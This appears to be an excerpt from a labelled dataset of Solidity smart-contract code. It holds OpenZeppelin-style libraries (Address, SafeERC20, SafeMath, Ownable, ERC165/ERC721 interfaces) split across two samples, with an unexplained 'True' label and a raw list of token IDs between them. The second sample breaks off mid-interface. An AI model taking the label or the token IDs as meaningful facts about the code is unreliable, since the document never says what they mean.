* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
} | True | [
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22627,
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5950,
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2396,
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11733,
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3508,
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6593,
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6977,
2098,
1006,
1007,
1025,
2724,
8724,
3406,
24679,
2094,
1006,
22017,
2140,
2003,
4502,
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2724,
10470,
16748,
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6199,
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3372,
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2575,
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1010,
21318,
3372,
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1007,
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4887,
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1006,
4769,
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1050,
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6895,
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3372,
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4769,
3477,
3085,
4132,
7959,
7869,
6895,
14756,
102
]
| [
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]
|
/**
*Submitted for verification at Etherscan.io on 2021-08-26
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
